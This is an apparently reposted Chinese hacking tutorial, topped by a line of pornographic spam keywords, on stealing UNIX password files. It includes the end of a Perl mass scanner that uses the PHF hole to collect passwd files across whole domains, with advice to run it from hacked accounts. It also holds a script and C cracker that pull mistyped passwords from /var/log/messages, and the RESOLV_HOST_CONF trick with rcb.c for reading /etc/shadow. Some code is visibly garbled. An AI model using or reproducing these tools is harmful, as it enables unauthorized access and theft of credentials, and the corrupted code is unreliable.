亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

從UNIX系統(tǒng)獲取密碼檔(一)

互聯網   發(fā)布時間:2008-10-08 19:04:37   作者:佚名   我要評論
目錄: PHF:WWW的PH查詢 PHF查詢攻擊新方法 從新手處獲取 獲取shadow密碼檔 獲取/etc/hosts檔 本文列舉了幾種從UNIX系統(tǒng)獲取密碼檔的方法。其中大多數方法要求你擁有一個 有效帳號;但也有不需帳號也可訪問系統(tǒng)的方法。在這里你還能知道完整
\n");
}
close(PASSWDFILE);
print ("Done! [$domainfilename].\n");
} else {
print ("FAILED! [$domainfilename].\n");
}
}
}
}
# We are done. Close the output file and end the program.
close (OUTFILE);
0;

------------- cut here
OK。這很簡單吧。如果你定義了自己的域名文件urls,也可以使用geturl.pl。
以下是腳本文件說明:
這個輕巧的工具非常容易使用。它可以幫助你取得root用戶權限和從不同的
domain獲取passwd密碼檔。
geturl.pl試圖記錄Internet上每臺domain對phf的響應結果。你可以選擇.com .edu
.org .mil .gov或是需要探測的IP地址列表。一旦發(fā)現具有root權限的用戶,便在結果
文件中記錄uid=root,然后繼續(xù)探測下一臺domain。如果phf探測器找到的用戶沒有
root權限,它就會讀取該domain上的passwd密碼檔,并在當前目錄下以domain.???.passwd
文件名保存。
以下是此工具的使用說明:
ftp到rs.internic.net站點
在domain目錄下尋找:
com.zone.gz
edu.zone.gz
gov.zone.gz
mil.zone.gz
net.zone.gz
org.zone.gz
下載這些文件并對目標主機所屬域名文件運行getdomain.pl,如:
perl getdomain.pl com.zone com >com.all
該腳本會分析出.com域的所有主機名并輸出到文件com.all中。
如果希望分析.edu域,輸入:
perl getdomain.pl edu.zone edu >edu.all
你便會有一個供geturl.pl使用的文件edu.all。
使用geturl.pl的格式如下:
geturl.pl
用edu.all或com.all代替
如果你定義了域名文件urls,運行geturl.pl時不需。
運行結果被記錄到當前目錄下的GetURLResults文件中。
1. geturl.pl使用lynx進行搜索(lynx要在查找路徑中)。
2. 如果geturl.pl發(fā)現在一個url的httpd上獲得了root權限,就會記錄該root用戶。
如果http用戶不是root,但該用戶具有在http上執(zhí)行phf權限,就會抓取該
domain的passwd檔,并以fulldomainname.passwd的文件保存到當前目錄下。
3. 你也可以提供包含了IP地址列表的文件供geturl.pl使用。
4. 我使用的是OS/2的lynx和perl,在長文件名方面沒有遇到問題。我在UNIX機
進行了測試,該程序也可以正常工作。
你需要:
1. Perl在查找路徑中
2. Lynx在查找路徑中
3. 長文件名(256字符)支持(如UNIX或OS/2)
4. 本文所列出和包含的所有文件
5. 從Internic站點下載的域名文件或自行制作的url或IP列表文件(取名為urls,
運行時僅輸入geturl.pl)
注意事項:
如果你有一個現金付費的互聯網帳號或通過hack而得到的帳號使用此工具來獲取
成果,那就最好了。然后便可以用另一個安全的帳號使用你的勞動成果了。但我并不
必警告你這些,對吧?我對這些工具并不覺得羞恥。這里提供的工具是讓你們檢查
domain的安全性。;-)
getdomain.pl: 分析.org .com .edu .mil .gov等internic域名文件
geturl.pl: 檢測并記錄每一臺domain的響應結果
GetURLResults: geturl.pl程序的結果記錄文件

這里還有另外一種方法:
如果你能讀取/var/adm/messages文件,或許你能輕而易舉地得到一些用戶的密碼!
我曾經采用這種方法獲得過root用戶的密碼!
還記得有多少次你是急著登錄的嗎?你可能因此而在login:里輸入了密碼:這種
事情是很容易發(fā)生的。這樣你就會出現兩次登錄失敗,系統(tǒng)就在這個時候胡所動作了。
例如:(假設你很急著登錄而沒有留意屏幕)
Login: (你鍵入回車(而你此時并不知道))
Password: (你以為現在開始登錄了,便輸入用戶名)
Login: (然后輸入用戶密碼)
此時系統(tǒng)會在messages文件中產生如下記錄:
Login: (這里是你的用戶密碼?。。。?
Password ****** (系統(tǒng)當然不會給你看見密碼了???但由于你在Login:處輸入了
用戶密碼,只要我們有讀取messages文件的權限,就會得到用戶密碼,并供crackerjack
運行(以找出對應的用戶)。如果是在一個小型系統(tǒng),或許...就是root密碼!;-))
以上這些工作可以由以下腳本輕易完成!
對于Quantum的bindwarez文件,你可以在附錄中找到。
------------ cut here
#!/bin/sh
# Under a lot of linux distributions(I know Redhat 3.0.3 and Slackware 3.0)
# /var/log/messages is world readable. If a user types in his password at
# the login prompt, it may get logged to /var/log/messages.
#
# I could swear this topic has been beaten to death, but I still see this
# problem on every linux box I have access to.
#
# Dave G.
# 12/06/96
#
# http://www.escape.com/~daveg
echo Creating Dictionary from /var/log/messages, stored in /tmp/messages.dict.$
grep "LOGIN FAILURE" /var/log/messages | cut -d',' -f2 | cut -c2- | sort | uniq >> /tmp/messages.dict.$
if [ ! -e ./scrack ]
then
echo "Creating scrack.c"
cat scrack.c
#include
#include
#include

#include
#define get_salt( d, s ) strncpy( d, s, 2 )
void
main(argc,argv)
int argc;
char **argv;
{
struct passwd *pwd;
FILE *fp;
char buff[80], salt[3], *encrypted_string;
if ( ( fp = fopen( argv[1], "r" ) ) == NULL )
{
fprintf( stderr, "Couldnt find dict file\n" );
exit(1);
}
while ( fgets( buff, 80, fp ) != NULL )
{
setpwent();
buff[strlen(buff)-1]='\0';
while ( ( pwd = getpwent() ) != NULL )
{
if ( strcmp( (*pwd).pw_passwd, "*" ) != 0 &&
( strlen( (*pwd).pw_passwd ) == 13 ) )
{
get_salt(salt, (*pwd).pw_passwd );
encrypted_string = crypt( buff, salt );
if ( strcmp( encrypted_string, (*pwd).pw_passwd ) == 0 )
{
fprintf( stdout, "l: %s p: %s\n", (*pwd).pw_name, buff);
fflush(stdout);
}
}
}
}
}
!
echo "Creating scrack"
cc -O6 -fomit-frame-pointer -s -o scrack scrack.c
fi
./scrack /tmp/messages.dict.$
echo /tmp/messages.dict.$, ./scrack, and ./scrack.c still exist, delete them yourself.
------ cut here
--------------------------------------------------------------------------------
從新手處獲取
好。重復一次,這是獲取密碼的另一種方法。只要按照第二章所談到的相關
內容去做就行了。運用你的智慧去與那些尚未成熟的“新手”交朋友吧。;-)
對了。在閱讀本手冊前,你可能曾經也是別人的“新手”朋友呢!;-)
--------------------------------------------------------------------------------
獲取shadow密碼檔
什么是shadow密碼檔呢?
舉個例子,如果你利用上述方法取回來的passwd檔,其內容如下:
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/usr/lib/news:
uucp:x:10:14:uucp:/var/spool/uucppublic:
operator:x:11:0:operator:/root:/bin/bash
games:x:12:100:games:/usr/games:
man:x:13:15:man:/usr/man:
postmaster:x:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:x:-2:100:nobody:/dev/null:
ftp:x:404:1::/home/ftp:/bin/bash
guest:x:405:100:guest:/dev/null:/dev/null
bhilton:x:501:100:Bob Hilton:/home/bhilton:/bin/bash
web:x:502:100:Web Master:/home/web:/bin/bash
mary:x:503:100:Mary C. Hilton:/home/mary:/bin/bash
是不是少了點東西?噢,被加密的密碼。如果你有root權限,就會在/etc/shadow中
找到這些被加密的密碼。某些系統(tǒng)管理員會將shadow檔隱藏到其他隱蔽的目錄下。但
多數情況下,你可以在/etc目錄下找到。有一些shadow程序會將密碼保存到master.passwd
文件中。但只要你有root權限,總有地方可以找到它。
現在,假設你有一個有效帳號,但沒有root權限。
如果主機使用的是libc5.4.7(多數系統(tǒng)都使用它 ;-) ),而且下列文件之一要求
必須有suid權限:
ping, traceroute, rlogin, or, ssh
1. 輸入bash或sh以啟動一個bash shell
2. 輸入: export RESOLV_HOST_CONF=/etc/shadow
3. 輸入以上文件名之一,并加上asdf參數,如:
ping asdf
如果一切正常,你就會得到shadow密碼檔。
這個方法對于我這幾天在許多系統(tǒng)中進行的測試均很有效。
注:你可用所希望讀取的文件名(文件擁有者是root)來取代/etc/shadow。
以下腳本可以讓你輕而易舉地讀取所需要的文件:
rcb.c
-------- cut here
/* RCB Phraser - therapy in '96
* Limits: Linux only, no binary files.
* little personal message to the world: FUCK CENSORSHIP!
*/
#include
void getjunk(const char *filetocat)
{ setenv("RESOLV_HOST_CONF",filetocat,1);
system("ping xy 1> /dev/null 2> phrasing");
unsetenv("RESOLV_HOST_CONF");
}
void main(argc,argv)
int argc; char **argv;
{ char buffer[200];
char *gag;
FILE *devel;
if((argc==1) || !(strcmp(argv[1],"-h")) || !(strcmp(argv[1],"--help")))
{ printf("RCB Phraser - junked by THERAPY\n\n");
printf("Usage: %s [NO OPTIONS] [FILE to cat]\n\n",argv[0]);
exit(1);
}
getjunk(argv[1]);
gag=buffer;
gag =10;
devel=fopen("phrasing","rb");
while(!feof(devel))
{ fgets(buffer,sizeof(buffer),devel);
if(strlen(buffer)>24)
{ strcpy(buffer strlen(buffer)-24,"\n");
fputs(gag,stdout);
}
}
fclose(devel);
remove("phrasing");
}
-------------- cut here
命令行:rcb /etc/shadow (或其他你在這個系統(tǒng)中不能讀取的文件。;-) )

--------------------------------------------------------------------------------
獲取/etc/hosts檔
需要注意的是,有時你需要知道有哪些系統(tǒng)在hosts文件中,或在這個系統(tǒng)中有哪些
其他domain和所有的IP地址,因此,不要忘了讀取/etc/hosts文件以獲得以后你可能需要的
資料。

相關文章

最新評論